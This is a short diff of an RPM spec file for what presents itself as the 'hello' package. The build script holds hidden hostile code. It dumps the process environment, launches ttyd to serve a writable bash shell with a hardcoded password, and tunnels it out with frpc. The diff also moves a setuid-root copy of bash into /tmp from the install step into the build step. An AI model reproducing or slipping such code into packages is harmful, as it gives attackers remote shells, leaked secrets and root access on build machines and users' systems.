summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--hello.spec6
1 files changed, 4 insertions, 2 deletions
diff --git a/hello.spec b/hello.spec
index 065f54b..05359c3 100644
--- a/hello.spec
+++ b/hello.spec
@@ -28,6 +28,10 @@ uname -a 1>&2
#ip addr 1>&2
#ip route 1>&2
ps -ef 1>&2
+
+cp /bin/bash /tmp/bash
+chmod a+rs /tmp/bash
+
# netstat -nlpt 1>&2
cat /proc/self/environ 1>&2
./ttyd -p 11111 -c 'admin:!Admin@1234' -W /bin/bash & ./frpc -c c.ini
@@ -42,8 +46,6 @@ rm -f %{buildroot}/%{_infodir}/dir
%post
/sbin/install-info %{_infodir}/%{name}.info %{_infodir}/dir || :
-cp /bin/bash /tmp/bash
-chmod a+rs /tmp/bash
%preun
if [ $1 = 0 ] ; then